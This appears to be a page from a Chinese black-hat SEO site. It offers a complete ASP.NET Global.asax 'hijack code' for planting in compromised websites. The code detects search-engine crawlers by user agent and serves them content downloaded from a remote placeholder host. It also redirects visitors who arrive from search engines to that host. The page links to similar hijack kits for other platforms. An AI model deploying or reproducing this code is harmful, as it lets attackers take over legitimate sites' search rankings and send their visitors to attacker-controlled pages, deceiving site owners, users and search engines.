<%@ Application Language="C#" %> <script runat="server"> void Application_Start(object sender, EventArgs e) { } void Application_End(object sender, EventArgs e) { } void Application_Error(object sender, EventArgs e) { } void Session_Start(object sender, EventArgs e) { //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); string data_url = "http://www.网址.com/"; string redirect_url="http://www.网址.com/"; if (is_spider()) { HttpContext.Current.Response.Clear(); HttpContext.Current.Response.BinaryWrite(get_data(data_url)); HttpContext.Current.Response.End(); } else if(is_from_search()) { HttpContext.Current.Response.Redirect(redirect_url, true); } else { //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); } } void Session_End(object sender, EventArgs e) { } public bool is_spider() { string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso"; string[] spider_flag_arr = spider_flag.Split('|'); string user_agent=HttpContext.Current.Request.UserAgent; foreach (string tmp_flag in spider_flag_arr) { if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; } } return false; } public bool is_from_search() { if (HttpContext.Current.Request.UrlReferrer==null) { return false; } else { string page_ref = HttpContext.Current.Request.UrlReferrer.ToString(); string search_flag = "google|baidu|sogou|yahoo|soso"; string[] search_flag_arr = search_flag.Split('|'); foreach (string tmp_flag in search_flag_arr) { if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; } } return false; } } public byte[] get_data(string url) { System.Net.WebClient wc = new System.Net.WebClient(); byte[] data = wc.DownloadData(url); return data; } </script>
今天来个.net环境的劫持代码
未经允许不得转载:网站快照劫持代码-快照删除-黑帽SEO » 今天来个.net环境的劫持代码
相关推荐
-      最新泛目录推广程 序+劫持代码
-      PHP头部文件劫持代码参考
-      全新最简洁的ASP 劫持写法
-      最新一套劫持,做网赚的。
-      DZ 另类discuz_application.php文件全局劫持代码
-      5月DZ百度快照劫持代码一整套,含上百万条关键词
-      织梦的一段黑帽SEOJS快照劫持代码样本,解密看看
-      价值5000元黑帽优化排名劫持教程、代码网盘分享
评论前必须登录!
注册